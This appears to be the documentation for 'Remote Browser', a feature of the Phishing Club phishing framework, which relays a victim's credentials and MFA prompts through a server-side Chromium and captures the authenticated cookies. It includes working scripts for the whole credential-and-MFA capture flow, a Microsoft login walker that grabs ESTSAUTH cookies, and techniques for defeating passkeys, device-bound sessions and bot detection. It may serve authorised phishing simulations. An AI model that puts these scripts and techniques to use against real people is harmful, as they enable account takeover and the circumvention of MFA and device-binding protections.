Remote Browser

Experimental. APIs and behaviour may change without notice.
Warning: enabling this feature only for users with server level trust.
A user with access to this feature can read files, execute code and more on the server. Only enable when the user is as trusted as the server administrator.

Remote Browser Phishing is a technique where the victim interacts with a phishing website that sends and reacts to events from a real remote browser in the background. The victim is interacting with a website you designed entirely, and you control what happens in the remote browser. It might seem familiar to tools such as CuddlePhish but it is not the same as the phishing page is not a stream of the remote target.

Some of the pros and cons when compared with AiTM phishing.

Pros

  • Bypasses AiTM defenses as the phishing is performed in a real remote browser
  • Defeats device bound cookies as the attacker can take control of the remote browser
  • Custom UI and flows give new opportunities for exploitative flows

Cons

  • Increased development time creating both the phishing page and the remote browser script
  • Increase in server resource consumption
  • New challenges: IP reputation and remote browser fingerprinting (bot detection) become the layer for attackers to bypass

Overview

The architecture consists of:

  • The phishing page is a static page served to the victim. It has no knowledge of the target site. You send events using rb.send(), and reacts to events coming back from the script using rb.on(). You design this page and its flow entirely yourself.
  • Remote Browser Script It receives events from the phishing page and decides what to do in the remote browser and which events to send back to the phishing page.
  • The server side browser is a CDP-compatible browser (Chrome, Edge, Brave, or any other Chromium based browser) running on the Phishing Club host or a remote container.
High level architecture overview
Remote Browser architecture: phishing page, remote browser script, and server side browser

Bot detection and configurations for popular targets

By default, the remote browser is detectable. No major bypass configuratons are baked in.

Bypassing bot detection is not a goal of this project. Phishing Club gives you the framework and you implement the bypass yourself. What works changes frequently and might be specific to the target.

Phishing Club does not provide any configurations for targets such as Microsoft or Google.

How It Works

  1. The recipient visits your phishing page. Phishing Club renders the page and replaces {{RemoteBrowserScript "name"}} with a WebSocket client script bound to that recipient's session ID.
  2. The injected script opens a WebSocket connection to the Phishing Club backend and sends the victim's viewport dimensions. The connection remains open for the lifetime of the session.
  3. The backend locates the saved script by name, starts a runner, and begins executing the JavaScript. The phishing page is now waiting for instructions; the script is waiting for events.
  4. When the victim interacts with the phishing page (submitting a form, clicking a button), the page can call rb.send("event", data). This sends events over WebSocket to the script.
  5. The script receives the event via waitForEvent() or an s.on() handler, performs the corresponding action in the real browser (navigating, typing, clicking), and reads the result.
  6. The script calls emit("event", data) to send a response back to the phishing page. The phishing page's rb.on() handler fires and updates the UI: showing the next step, displaying a message, or revealing a new form.
  7. This exchange continues until the script calls s.capture() to extract cookies and storage, which records a capture event in the campaign log.
  8. The script can then call s.keepAlive() to hold the browser available for operator takeover, or call s.close() to end the session.

A running session keeps the script it started with. Editing and saving a script does not change a session that is already running or parked, that session keeps the old code. There is one session per recipient, and a session parked by s.keepAlive() stays until you terminate it. While it is parked, a reloaded phishing page connects and is closed at once (WebSocket code 1006) because the old session still holds the recipient. To run an edited script, terminate the recipient's live session first, then reload the page. While developing, prefer s.listen() over s.keepAlive(): a listen session ends when the page disconnects, so a reload picks up your latest script on its own.

Enabling the Feature

Remote Browser is disabled by default. To enable it, set enabled: true in the remote_browser block of config.json:

"remote_browser": {
  "enabled": true,
  "binary_path": "/usr/bin/chromium-browser"  // optional
}

If binary_path is not set, Phishing Club will automatically download a compatible Chromium build on first use. The first session will not start until the download and setup process completes. Follow the server logs to track progress and confirm everything succeeds before expecting the browser to launch.

The downloaded Chromium needs the same shared system libraries as PDF reports. Install them first: see System dependencies under PDF Reports for the package list and how to check which are missing. If a session still fails to start, enable chromeDebug: true in newSession() to surface the raw Chrome process output, which lists any remaining missing libraries.

Turning Headless off needs more than those libraries. A headful browser draws a real window, so it needs a display and the toolkit it draws with. Phishing Club starts a private Xvfb display for every session rather than putting them all on one display, because X gives clients on the same display no separation: on a shared display one session could read the windows and the keystrokes of the others. Install these, using the same plain name / t64 fallback as the report libraries so the command works on both older and newer releases:

for p in xvfb libgtk-3-0 libxss1 libxtst6 libxi6 libxcursor1; do
  apt-get install -y "$p" 2>/dev/null || apt-get install -y "${p}t64"
done

Without xvfb a headful session fails to start and the run log reports that the browser needs a display. On a machine that already has a desktop session the server falls back to that desktop's display and logs a warning, since it is shared with everything else drawing on it.

A headful browser still has no GPU behind it on a virtual display, so WebGL continues to report the software renderer. Removing that signal needs a real GPU passed through to the machine, not a display alone.

On systems where AppArmor restricts unprivileged user namespaces, Chromium cannot create the namespace it needs for its internal sandbox. The Chrome process output will contain:

No usable sandbox!

The remote browser uses the same bundled Chromium as PDF reports, so the same fix applies. See the AppArmor setup under PDF Reports.

Creating a Script

Navigate to Remote Browsers in the sidebar and click New.

  1. Name (Required): A unique name used to reference this script from page templates.
  2. Description (Optional): Short description.
  3. Script (Required): The Remote Browser script.
  4. Configuration: Browser settings configured through the Config tab.
    Use Local mode for production campaigns and Remote mode when developing scripts against a browser you already have running.

How a script runs

The browser script runs once, top to bottom. There is no background loop and setTimeout is not available. It talks to the phishing page through events: the page calls rb.send(name, data), the script reads those events, and the script calls emit(name, data) to send data back to the page.

The connection stays open only while the script is still running. A script keeps running by blocking on an event or by parking itself. If it reaches the end instead, the session closes and any later rb.send from the page is discarded, with a warning in the page console. So a script always finishes on a blocking call.

Receiving events: synchronous (start here)

waitForEvent(name) pauses the script until the page sends that event, then returns its data. Use it for a step by step flow: do something, wait for the next event, continue. One event at a time, in the order you write. This is the easiest model to start with.

Phishing page (HTML)

<input id="email" placeholder="Email" />
<button id="go">Continue</button>
<p id="status"></p>

{{RemoteBrowserScript "starter"}}

<script>
document.getElementById("go").addEventListener("click", function () {
  rb.send("email", { value: document.getElementById("email").value });
});

rb.on("thanks", function (data) {
  document.getElementById("status").textContent = data.message;
});
</script>

The name in {{RemoteBrowserScript "starter"}} is the exact Name of a Remote Browser script you create under Remote Browsers (see Creating a Script). In this example the script must be named starter. The lookup is by name and scoped to the campaign's company, and a script with no company is global and usable by any campaign. If no script matches the name, the tag renders nothing and no WebSocket client is injected, so the page loads normally but the remote browser flow never starts. If the page has no rb object at runtime, check that the name matches an existing script exactly.

Browser script (synchronous)

var s = newSession();
s.navigate("https://example.com");

while (true) {
  // waitForEvent blocks here until the page calls rb.send("email", ...)
  var msg = waitForEvent("email");
  log("got email", msg.value);
  emit("thanks", { message: "Received " + msg.value });
}

The while loop keeps the script blocked on waitForEvent, so it handles each message the page sends and the connection stays open. Drop the loop if you only expect one event.

Receiving events: asynchronous

s.on(name, fn) registers a handler but does not run it. s.listen() then blocks and calls the matching handler every time an event arrives, until s.done() is called, the victim disconnects, or the idle timeout fires. Use it when different events can arrive in any order or more than once.

Browser script (asynchronous)

The phishing page above is unchanged. Only the browser script differs.

var s = newSession();
s.navigate("https://example.com");

// register a handler. it does not run yet
s.on("email", function (data) {
  log("got email", data.value);
  emit("thanks", { message: "Received " + data.value });
});

// listen blocks and dispatches events to the handler until the page disconnects
s.listen();

Which to use

  • Synchronous, waitForEvent: the script stops and waits for one event at a time, in the order you wrote. Simplest to follow.
  • Asynchronous, s.on then s.listen: you register handlers, then s.listen() waits and runs the right handler as each event arrives. Handlers can fire in any order.
  • Both keep the connection open while they block, which is what a script needs to keep receiving from the page. Pick one style per script. If you are new to this, use waitForEvent.

After creating a script you can test it directly from the editor. The test runner executes the script and streams log messages, events, and screenshots to the editor panel in real time. The test run also registers as a live session, so you can open a stream view from the session panel while it runs.

Local test run of script including screenshots.
Test run output with live log and screenshot events

Testing

When running a Run / Test you can click View and Control to directly view, interact and send events to the remote browser.

Local test run of with remote control view.
Remote browser control view

Configuration

Configuration is set through the Config tab in the script editor. The fields available depend on the selected browser mode.

Browser Mode

The mode toggle switches between two ways of launching the browser:

  • Local spawns a new browser process on the Phishing Club host for each session. This is the mode to use for production campaigns.
  • Remote connects to a Chrome instance you launch and configure yourself. Each call to newSession() opens a new tab in that shared browser. This is the right mode for script development and testing: point it at a browser on your local machine so you can watch the automation happen live. Because all sessions share the same browser process, remote mode is not suitable for production campaigns with multiple simultaneous victims. Any CDP-compatible browser works: Chrome, Chromium, Edge, Brave, and others.

Local Mode Fields

Field Default Description
Proxy Upstream proxy for the server side browser: socks5://host:port or http://host:port.
Headless On Run the browser without a visible window.
Language BCP 47 locale, e.g. en-US or da-DK. Sets Chrome's --lang and --accept-lang flags so navigator.language, navigator.languages, and the Accept-Language header are consistent across the main frame and Web Workers. Leave empty to use the browser's default locale.
Flags Additional Chrome CLI flags, one per line. --flag=value adds or overrides a flag; !--flag removes a flag from the default set entirely. Example: --use-gl=egl or !--disable-background-networking.

Remote Mode Fields

Field Description
Remote DevTools URL The DevTools endpoint of the running browser. Accepts a bare port (9222), http://host:port, or a full ws:// URL. Phishing Club resolves the actual WebSocket address automatically. Start Chrome with --remote-debugging-port=9222 to enable remote debugging.

Timeout

The Timeout field (in minutes, default 5) sets a global deadline for the entire script. When the deadline is reached, the script is cancelled and the browser is closed. Set a longer timeout for flows that depend on slow victim interaction.

Script API

Scripts run in an ECMAScript 5.1-compatible JavaScript VM. All API calls are synchronous and blocking. Each call waits for the operation to complete before the next line executes.

There is no event loop. setTimeout and setInterval are not available.

Global Functions

Function Description
newSession(opts?) Launches a browser and returns a session object. All options override the saved configuration for this session only:
  • proxy: upstream proxy URL (socks5:// or http://)
  • remote: DevTools endpoint of an existing browser (accepts port, http://host:port, or full ws:// URL)
  • headless: run without a visible window
  • lang: BCP 47 locale, e.g. "da-DK"; sets Chrome's --lang and --accept-lang flags so navigator.language, navigator.languages, and Accept-Language are consistent across the main frame and Web Workers; local mode only
  • extraFlags: string array of additional Chrome CLI flags, e.g. ["--use-gl=egl"]; prefix with ! to remove a flag ("!--disable-background-networking"); local mode only
  • idleTimeout: ms; close the browser if no events arrive from the phishing page for this long
  • debug: emit a log line before and after every action
  • chromeDebug: stream Chrome process stdout/stderr into the event log
  • queryTimeout: ms; cap how long read-only CDP calls wait for a response
  • userAgent: override the User-Agent header
request() Returns information about the victim connection that started this session, available before newSession(). The object has:
  • ip: the victim IP
  • country: ISO country code from the Geo IP database, e.g. "DE", empty when unknown
  • asns: array of { number, name } for the autonomous systems the IP belongs to, empty unless the ASN data package is downloaded
  • ja4: the JA4 TLS fingerprint, empty when not captured
  • userAgent: the browser user agent string
  • acceptLanguage: the language preferences the browser sent
  • headers: all request headers, keys lowercased
runScript(name, data?) Runs a saved Script by name, passing data as its input, and returns the object the Script returns. Synchronous: it blocks until the Script finishes. Use it for reusable snippets and to call external services from a session. The Script has the http.fetch and encode/decode toolkit; it does not emit campaign events in this mode. Requires the Scripts feature to be enabled.
waitForEvent(event) Blocks until the phishing page calls rb.send(event, data). Returns the data payload.
waitForAny(events) Blocks until any of the named events arrives. Accepts an array or individual arguments. Returns { event, data } for whichever arrives first.
emit(event, data) Sends an event to the phishing page. The page receives it via rb.on(event, fn).
log(msg, data?) Emits a log line visible in the script runner panel. In a live campaign session each log line is also recorded as a recipient event in the campaign timeline. Internal runner diagnostics, the lines prefixed with a tag such as [session] or [chrome], stay in the editor panel and are not saved to the timeline.
info(message) Records a plain text note in the campaign timeline for this recipient. Use it to annotate progress milestones (e.g. info("navigated to dashboard")). Visible in the campaign log but not forwarded to the phishing page.
submitData(data) Saves an arbitrary object (credentials, tokens, form values) as a submitted data event in the campaign timeline. Use this when you want to record captured values explicitly rather than via s.capture(). The data is visible in the campaign log but not forwarded to the phishing page.
retry(max, fn) Calls fn(ctx) up to max times. Return a truthy value from fn to stop looping; retry returns that value. Return false or nothing to keep looping. Returns null if all attempts are exhausted. ctx has attempt (starts at 1), max, isFirst, and isLast. Pass an options object instead of a number to add a wait between attempts: retry({ max: 5, wait: 1000 }, fn).

For example, read the victim's country with request() and open the session through a matching proxy:

var r = request();
log('victim from ' + r.country, { ip: r.ip, asns: r.asns });
// open the session through a proxy that matches the country
var s = newSession({ proxy: r.country === 'DE' ? 'socks5://de-proxy:1080' : 'socks5://us-proxy:1080' });

To reuse logic or reach an external service, put it in a Script that reads input and returns an object, then call it with runScript:

// a Script named "enrich-ip" (reads input, returns an object):
//   var res = http.fetch('https://ipinfo.example/' + input.ip);
//   var d = decode.json(res.body);
//   return { proxy: d.country === 'DE' ? 'socks5://de:1080' : 'socks5://us:1080' };

var geo = runScript('enrich-ip', { ip: request().ip });
var s = newSession({ proxy: geo.proxy });

Session Methods

newSession() returns a session object. All selectors use CSS query syntax.

Navigation

Method Description
s.navigate(url) Navigates to a URL and waits for the body element to become visible.
s.navigateBack() Goes back one entry in the browser history.
s.navigateForward() Goes forward one entry in the browser history.
s.reload() Reloads the current page.
s.stop() Stops the current page load.
s.location() Returns the current URL as a string.
s.title() Returns the current page title as a string.
s.waitURLContains(str) Blocks until the page URL contains str. Returns the full URL.
s.waitURLMatch(re) Blocks until the page URL matches the regex re. Returns the full URL.

Waiting

All wait* methods search the main page document and all iframes automatically, including cross origin iframes (OOPIFs such as reCAPTCHA, Google Sign-In, and other embedded third party widgets). An optional trailing options object controls the scope:

Option Default Description
frames true Set to false to search only the main page document and skip all iframes.
frame CSS selector for a specific <iframe> element. When set, only that iframe's document is searched.
// default: search main page + all iframes
s.waitVisible("#g-recaptcha-response");

// search only the main page
s.waitVisible("input[name='email']", { frames: false });

// search only a specific iframe
s.waitVisible("input[name='identifier']", { frame: "iframe[src*='accounts.google.com']" });
Method Description
s.waitVisible(...sels) Blocks until any of the given selectors is visible. Returns the matched selector.
s.waitReady(...sels) Blocks until any of the given selectors is visible and enabled. Returns the matched selector.
s.waitEnabled(...sels) Blocks until any of the given selectors is enabled. Returns the matched selector.
s.waitSelected(...sels) Blocks until any of the given selectors has a selected option. Returns the matched selector.
s.waitNotVisible(...sels) Blocks until any of the given selectors is no longer visible. Returns the matched selector.
s.waitNotPresent(...sels) Blocks until any of the given selectors is absent from the DOM. Returns the matched selector.

Frame sessions

s.frame(selector) returns a frame session scoped to the <iframe> matching selector. Unlike the { frame: "sel" } wait option - which narrows a single wait call - a frame session lets you perform multiple operations inside one iframe without repeating the selector. Nested iframes are supported: call .frame() again on the returned frame session. Returns null if the iframe is not found or cannot be resolved.

// Access a Google Sign-In iframe directly
var googleFrame = s.frame("iframe[src*='accounts.google.com']");
if (googleFrame) {
  googleFrame.waitVisible("input[type='email']");
  googleFrame.sendKeys("input[type='email']", "[email protected]");
  googleFrame.click("#identifierNext");
}

// Nested iframes
var outer = s.frame("#outer-frame");
if (outer) {
  var inner = outer.frame("#inner-frame");
  if (inner) { inner.sendKeys("#captcha-input", "abc123"); }
}

The frame session exposes the same DOM, waiting, and interaction methods as the main session. Methods not available on frame sessions: capture, keepAlive, close, on, listen, done, race, stream.

Race

s.race(conditions) polls DOM conditions, URL changes, and incoming victim events simultaneously and returns as soon as any condition is met. Each key in the conditions object is a label you choose; each value specifies what to wait for.

Condition key Fires when value in result
{ visible: sel } Element has a non-zero bounding box (same as waitVisible) matched selector
{ ready: sel } Element is visible and not disabled (same as waitReady) matched selector
{ enabled: sel } Element is not disabled (same as waitEnabled) matched selector
{ present: sel } Element exists anywhere in the DOM matched selector
{ notVisible: sel } Element has a zero bounding box or is absent (same as waitNotVisible) matched selector
{ notPresent: sel } Element is absent from the DOM (same as waitNotPresent) matched selector
{ urlContains: str } Page URL contains str full URL string
{ urlMatch: /re/ } Page URL matches regex /re/ full URL string
{ event: name } Victim page calls rb.send(name, data) event payload

Returns { key, value } for whichever condition fires first. Events received during the race that do not match any condition are buffered and remain available to subsequent waitForEvent calls.

var r = s.race({
  password: { urlContains: '/challenge/pwd' },
  mfaOrPwd: { urlMatch: /\/challenge\/(pwd|totp)/ },
  emailErr: { visible: '[aria-invalid="true"]' },
  retry:    { event: 'retry_email' }
});
if (r.key === 'password') { ... }
if (r.key === 'emailErr') { emit('email_error', {}); }
if (r.key === 'retry')    { /* r.value is the event payload */ }

Mouse

Action methods (click, sendKeys, setValue, etc.) automatically search the main page and all iframes to find the target element. If the selector matches an element inside a cross origin iframe the action is dispatched into that iframe's document.

Method Description
s.click(sel) Clicks the element.
s.doubleClick(sel) Double-clicks the element.
s.clickXY(x, y) Clicks at the given page coordinates.
s.scrollIntoView(sel) Scrolls the element into the viewport.
s.humanScroll(deltaY, options?) Scrolls the page by deltaY pixels (positive is down) with eased, jittered wheel steps instead of an instant jump. options.duration sets the time in milliseconds.
s.humanIdle(ms) Spends about ms milliseconds drifting the pointer and pausing, to build natural activity on pages that treat inactivity as a bot signal.

Keyboard

Method Description
s.sendKeys(sel, text) Focuses the element and types text character by character.
s.keyEvent(key) Dispatches a key event by name (e.g. "Enter", "Tab").

Forms

Method Description
s.clear(sel) Clears the value of an input or textarea, firing the native input and change events so React and Vue update cycles trigger.
s.focus(sel) Focuses the element.
s.blur(sel) Removes focus from the element.
s.submit(sel) Submits the form containing the element.
s.setValue(sel, value) Sets the value of a form element directly without simulating keystrokes.
s.getValue(sel) Returns the current value of a form element.

DOM

Method Description
s.getText(sel) Returns the visible text of the element.
s.getTextContent(sel) Returns the textContent of the element, including hidden text.
s.getInnerHTML(sel) Returns the inner HTML of the element.
s.getOuterHTML(sel) Returns the outer HTML of the element.
s.getAttribute(sel, attr) Returns the value of the named HTML attribute, or null if absent.
s.getAttributes(sel) Returns all attributes of the element as a name/value object.
s.setAttribute(sel, attr, value) Sets the value of an HTML attribute.
s.removeAttribute(sel, attr) Removes an attribute from the element.
s.getJSAttribute(sel, prop) Returns a JavaScript property from the element (e.g. checked, selectedIndex).
s.setJSAttribute(sel, prop, value) Sets a JavaScript property on the element.
s.getNodeCount(sel) Returns the number of matching elements. Returns 0 immediately if none exist; does not wait.
s.evaluate(expr) Evaluates a JavaScript expression in the page context and returns the result.

Screenshots and DOM Capture

Method Description
s.screenshot(name) Development and testing only. Takes a full page screenshot and emits it to the editor runner panel. Screenshots are discarded in live campaign sessions and are never saved as recipient events.
s.screenshotElement(sel, name) Development and testing only. Takes a screenshot of a specific element, emitted to the editor runner panel. Discarded in live campaign sessions.
s.domDump(name) Development and testing only. Captures document.documentElement.outerHTML and emits it as a named dom_dump event in the editor runner panel. Discarded in live campaign sessions, never saved as a recipient event, and not forwarded to the victim page.

Viewport and Emulation

Method Description
s.setViewport(width, height) Sets the viewport size in CSS pixels.
s.setViewportMobile(width, height) Sets the viewport with mobile and touch emulation enabled.
s.resetViewport() Resets viewport emulation to the browser default.
s.setUserAgent(ua) Overrides the browser user agent string.
s.setAcceptLanguage(lang) Overrides the Accept-Language HTTP header and navigator.language / navigator.languages in the main frame via CDP. Useful for remote mode sessions where Chrome's --lang flag cannot be set. Note: Web Workers read Chrome's process level locale, so for fully consistent language signals across frame and workers, use the lang option in newSession() instead.

Header rewriting 1.43.0

Rewrite HTTP headers on the traffic between the remote browser and the sites it talks to. Rules run over the CDP Fetch domain with continueRequest and continueResponse, so the browser still opens its own connection and loads each response body itself; only the header list is edited as it passes. The targets argument is an optional URL glob (* matches any run of characters) or an array of globs; when omitted the rule applies to every request. Call these before navigate() so they are active on the first load.

Framing and routing headers (Content-Length, Transfer-Encoding, Host, Connection, and HTTP/2 pseudo headers) are rejected, because editing them corrupts the message. Cookie and CORS headers are allowed but log a warning, since removing them commonly breaks the login flow you are trying to capture.

Method Description
s.setRequestHeader(name, value, targets?) Adds the request header, or overwrites it when it already exists, on the way to the site. Use it to inject a value the site expects, for example s.setRequestHeader("X-Debug", "1", "*login.microsoftonline.com*").
s.removeRequestHeader(name, targets?) Drops the request header before it reaches the site.
s.setResponseHeader(name, value, targets?) Adds the response header, or overwrites it when it already exists, before the browser processes the response.
s.removeResponseHeader(name, targets?) Drops the response header before the browser sees it. The main use is stripping Sec-Session-Registration so the target never binds the session to the server side browser as a device, which keeps the captured cookies replayable. Example: s.removeResponseHeader("Sec-Session-Registration").

Utility

Method Description
s.wait(ms) Pauses execution for the given number of milliseconds.
s.failFido() 1.43.0 Makes passkey logins fail fast. It puts the target into the CDP WebAuthn virtual authenticator environment and adds an authenticator that holds no credentials, so a passkey request fails at once instead of leaving the page waiting on its passkey overlay. The page then offers another sign in method and the DOM stays reachable. Applies to the main page and to child frames and popups that attach afterwards. Call it before navigate() so it is active on the first load. If a page keeps retrying the passkey request and never offers another method, override the passkey call yourself with injectScript().
s.disableFidoUI() Deprecated. Old name for s.failFido(). It still works but logs a warning. Use s.failFido() in new scripts.
s.injectScript(js) Registers a JavaScript snippet that runs before any page scripts on every subsequent navigation (CDP Page.addScriptToEvaluateOnNewDocument). Call this before navigate() so the injection is active from the first load. Scoped to this page only - does not affect other tabs or sessions. Typical use: normalise fingerprint signals (speechSynthesis, WebGL renderer, etc.) before bot detection probes fire.
s.withTimeout(ms, fn) Runs fn(tempSession) with a deadline. The temporary session passed to fn shares the same browser tab but its operations time out after ms. Returns true if fn completed before the deadline, false if it timed out. Does not cancel the main session on timeout.
s.close() Closes the browser. Any subsequent calls on the session will panic.

State machine 1.43.0

A login walk is mostly the same shape: work out which page you are on, do the matching action, repeat. states() builds a small machine with optional before and after hooks and a run loop, so a script declares detection once and lists an action per state, instead of hand writing a detect function and a while loop.

Method Description
s.states(rules) Declares how to recognize each page: an object of state name to a matcher () => boolean. Matchers read the page through s: s.present(sel), s.visible(sel), s.getNodeCount(sel), s.getText(sel), s.location(), and s.query(name) for a URL query value. Returns a state machine, whose before(fn), after(fn) and run(actions, options?) you call; before and after take fn(state) and run just before and after each detected step.
s.waitForState(rules, timeoutMs?) Polls until one rule matches and returns its state name, or "timeout" if none match within timeoutMs (default 10000). Uses the rules you pass. Use it to run your own loop instead of the machine.
machine.run(actions, options?) Runs the loop: detect the state, run its action, then wait for the state to change and run the next action. Each action is (loop) => .... Waiting for a change means an action is not fired twice while its page is still submitting or waiting, so a screen that lingers, such as a push approval, is handled once. An action ends the loop by returning false or calling loop.stop(), which works from inside a nested callback too. The built in "timeout" state fires when the state does not change within options.detectTimeout. options.timeout caps the whole loop.

A login flow then reads as detection and actions, with your own logic still in plain sight:

var s = newSession({ queryTimeout: 5000 });
s.failFido();

s.navigate("https://login.microsoftonline.com/");

s.states({
  error:    () => s.present("#errorText, .error"),
  username: () => s.visible("input[type=email]"),
  password: () => s.visible("input[type=password]"),
  totp:     () => s.visible("input[name=otc]"),
  fido:     () => s.location().includes("/fido"),
  done:     () => !s.location().includes("microsoftonline.com"),
})
  .before(state => log("state", { state: state }))
  .run({
    username: () => { s.sendKeys("input[type=email]", waitForEvent("username").username); s.click("#idSIButton9"); },
    password: () => { s.sendKeys("input[type=password]", waitForEvent("password").password); s.click("#idSIButton9"); },
    totp:     () => { s.sendKeys("input[name=otc]", waitForEvent("totp").code); s.click("#idSubmit_SAOTCC_Continue"); },
    fido:     () => { s.navigate(s.query("cancelUrl")); },
    error:    () => { emit("error", { message: s.getText("#errorText") }); return false; },
    done:     (loop) => { s.capture({ domains: ["login.microsoftonline.com"], cookieNames: ["ESTSAUTH"] }); loop.stop(); },
    timeout:  () => { emit("error", { message: "unhandled page" }); return false; },
  }, { detectTimeout: 10000, timeout: 120000 });

Session Lifecycle

Method Description
s.keepAlive() Non blocking. Marks the session as available for live streaming and operator takeover, cancels the script timeout so the browser stays alive indefinitely, and returns immediately so the script can continue (e.g. call emit() after it). The server parks the session after the script finishes and waits for an operator to terminate it.
s.on(event, fn) Registers a handler for a named event. Must be called before s.listen().

Built-in lifecycle events emitted automatically by the server:
  • "disconnect": fires when the victim closes their browser or navigates away. Use this with keepAlive() to capture a screenshot or dump the DOM at the moment the session ends. No event data.
  • "navigate": fires whenever the server browser's main frame navigates to a new URL (full navigation or pushState). Event data: { url: string }. Useful for detecting when the victim reaches a post-login page without polling.
All other event names are victim-page events sent via rb.emit(name, data).
s.listen() Enters the event dispatch loop, calling registered handlers as events arrive. Blocks until s.done() is called, the context is cancelled, or the idle timeout fires.
s.done() Exits the s.listen() loop.

Cookie and Storage Capture

s.capture(opts?) extracts cookies and browser storage from the server side browser via CDP. The result is saved as a capture event in the campaign log (the same place proxy cookie captures appear) and returned to the script so it can inspect or forward the data.

s.capture({
    domains:        ["example.com"],     // filter cookies to these domains
    cookieNames:    ["session", "auth"], // keep only cookies with these names
    localStorage:   true,               // include localStorage (default: true, false if domains set)
    sessionStorage: true                // include sessionStorage (default: true, false if domains set)
});
Option Type Default Description
domains string[] Restrict cookie retrieval to these domains. Phishing Club builds HTTPS URLs for each domain and uses the CDP Network.getCookies call. Leading dots are stripped.
cookieNames string[] After domain filtering, keep only cookies whose name appears in this list.
localStorage bool true (false if domains set) Include the page's localStorage in the capture.
sessionStorage bool true (false if domains set) Include the page's sessionStorage in the capture.

Captured data can be imported into browsers using the Session Sushi extension, the same workflow as proxy cookie captures.

Live Streaming to the Phishing Page

The script can stream a cropped, live view of any element in the server side browser directly to the victim's phishing page as JPEG frames over WebSocket. This lets you show the victim real content from the target site (an MFA QR code, a CAPTCHA, a code entry field) without their browser ever connecting to it. The phishing page renders the frames on a <canvas> element and forwards mouse and keyboard input back to the server side browser. As the stream is a set of images and not a WebRTC stream is can be both costly in performance and laggy depending on what is being streamed.

// Start streaming a specific element to the phishing page
var handle = s.stream("div#mfa-container", "mfa", { maxFps: 10, quality: 80 });

// Stop when done
handle.stop();
Parameter Type Description
selector string CSS selector for the element to capture and stream.
name string Stream identifier. The phishing page uses this name in rb.mountStream(name, el) to attach the canvas.
maxFps int Maximum frame rate. 0 means unlimited (default).
quality int JPEG quality 1-100. 0 uses the default of 92.

Victim-side Integration

Template Function

Add this template function call anywhere in a phishing page to inject the remote browser client:

{{RemoteBrowserScript "remote-browser-script-name"}}

Phishing Club looks up the script by name within the current company context and renders a <script> tag bound to the recipients session. During template validation or preview the function renders as an empty string.

window.rb API

After the script tag loads, window.rb (alias window.remoteBrowser) is available on the phishing page with the following interface.

Method Description
rb.send(event, data) Sends an event with a data payload to the server side script. The script receives it via waitForEvent(event) or an s.on(event, fn) handler.
rb.on(event, fn) Registers a handler for events emitted by the script with emit(event, data). fn receives the data payload.
rb.on("stream_start", fn) Fires when the server starts a stream. fn receives an info object { name, width, height, cssWidth, cssHeight }. Call rb.mountStream(info.name, el) inside the handler to attach a canvas. If you run more than one stream, branch on info.name.
rb.on("stream_stop", fn) Fires when a stream stops. fn receives { name }.
rb.on("stream_start", name, fn)
rb.on("stream_stop", name, fn)
Deprecated. The older per-name form. It still works but logs a console warning. The start handler receives (cssWidth, cssHeight) and the stop handler receives no arguments. Prefer the object form above and read info.name.
rb.mountStream(name, el, opts?) Creates a <canvas> inside el that receives JPEG frames for the named stream and forwards mouse and keyboard events back to the server. el is a DOM element or a CSS selector string such as "#wrapper" or ".stream". If the selector matches nothing, the call is ignored and a warning is logged. Options: autoSize (resize the container element to match the stream dimensions, default false), scroll (forward scroll wheel events, default false), arrowKeys (forward arrow key events, default false).

Session Lifecycle Events

The server automatically emits the following events to the phishing page when the session ends. Register handlers with rb.on() to redirect the victim or show a message when each condition occurs.

Event When it fires
done Script completed normally (the script reached its last line).
session_timeout The global script timeout was reached. The browser has been closed. Use this to redirect the victim to a neutral page rather than leaving them on a broken form.
session_closed The session was terminated by an operator (via Terminate in the live session panel). The browser has been closed.

Example: Credential and MFA Capture

The victim submits credentials on the phishing page. The script replays them on the real site, waits for the MFA prompt, streams it into the phishing page so the victim completes it, then captures the authenticated session.

Phishing page (HTML)

<div id="step-login">
  <input id="inp-user" type="text" placeholder="Email" />
  <input id="inp-pass" type="password" placeholder="Password" />
  <button id="btn-login">Sign in</button>
</div>

<div id="step-mfa" style="display:none">
  <p>Complete the verification below.</p>
  <div id="mfa-canvas-host"></div>
</div>

{{RemoteBrowserScript "corp-sso"}}

<script>
document.getElementById("btn-login").addEventListener("click", function() {
  rb.send("credentials", {
    username: document.getElementById("inp-user").value,
    password: document.getElementById("inp-pass").value
  });
});

rb.on("mfa_required", function() {
  document.getElementById("step-login").style.display = "none";
  document.getElementById("step-mfa").style.display   = "block";
});

rb.on("stream_start", function(info) {
  if (info.name === "mfa") {
    rb.mountStream("mfa", "#mfa-canvas-host", { autoSize: true });
  }
});

rb.on("done", function() {
  window.location.href = "{{.URL}}";
});
</script>

Server-side script

var s = newSession();
s.navigate("https://sso.corp.example/login");
s.waitVisible("input[name='email']");

var creds = waitForEvent("credentials");
s.sendKeys("input[name='email']", creds.username);
s.click("button[type='submit']");

s.waitVisible("input[name='password']");
s.sendKeys("input[name='password']", creds.password);
s.click("button[type='submit']");

// MFA prompt appeared - stream it to the phishing page for the victim to complete
s.waitVisible("div.mfa-prompt");
emit("mfa_required", {});
var mfaStream = s.stream("div.mfa-prompt", "mfa", { maxFps: 15 });
s.waitNotPresent("div.mfa-prompt");
mfaStream.stop();

s.waitVisible("div.dashboard");
s.capture({ domains: ["corp.example"] });
emit("done", {});
s.close();

Live Sessions

When a recipient's script is running, the campaign detail page polls for active sessions every five seconds and shows a Remote column in the recipients table. A badge on each row indicates whether the victim's browser tab is still open and connected.

Live badge and action menu
Live session controls in the campaign recipients table

The following actions are available on a live session:

  • View: Opens a read-only stream of the server side browser's active tab. You can watch what the browser is doing in real time without sending any input.
  • Control: Opens the same stream in control mode. Mouse clicks, movement, scroll, and keyboard input on the stream canvas are forwarded to the server side browser, allowing you to take over the session manually.
  • Terminate: Cancels the script context, closes the browser, and ends the victim's WebSocket connection.

View and Control are only available once the script has called newSession() and the browser context is ready. A script that calls s.keepAlive() holds the browser open indefinitely for operator takeover. Test runs launched from the editor also register as live sessions and can be viewed while the test is in progress.

Tab management

When the victim (or the script) opens a new tab, the stream automatically switches to it. A tab bar appears above the URL bar whenever more than one tab is open, showing the hostname of each tab. Clicking a tab switches the stream to it in both View and Control modes. Each tab has a × button to close it; closing a tab that was active automatically switches the stream to another open tab.

Live remote session control
Live session control view

Upgrading from 1.35

Installations upgrading from 1.35 must update the systemd service file before Remote Browser will work. Three hardening directives that block Chromium were removed or relaxed in 1.36:

Change Reason
AF_NETLINK added to RestrictAddressFamilies Chromium requires netlink sockets for udev device enumeration
RestrictNamespaces=true removed Chromium uses namespaces for its internal sandbox
MemoryDenyWriteExecute=true removed V8 JIT requires write and execute memory

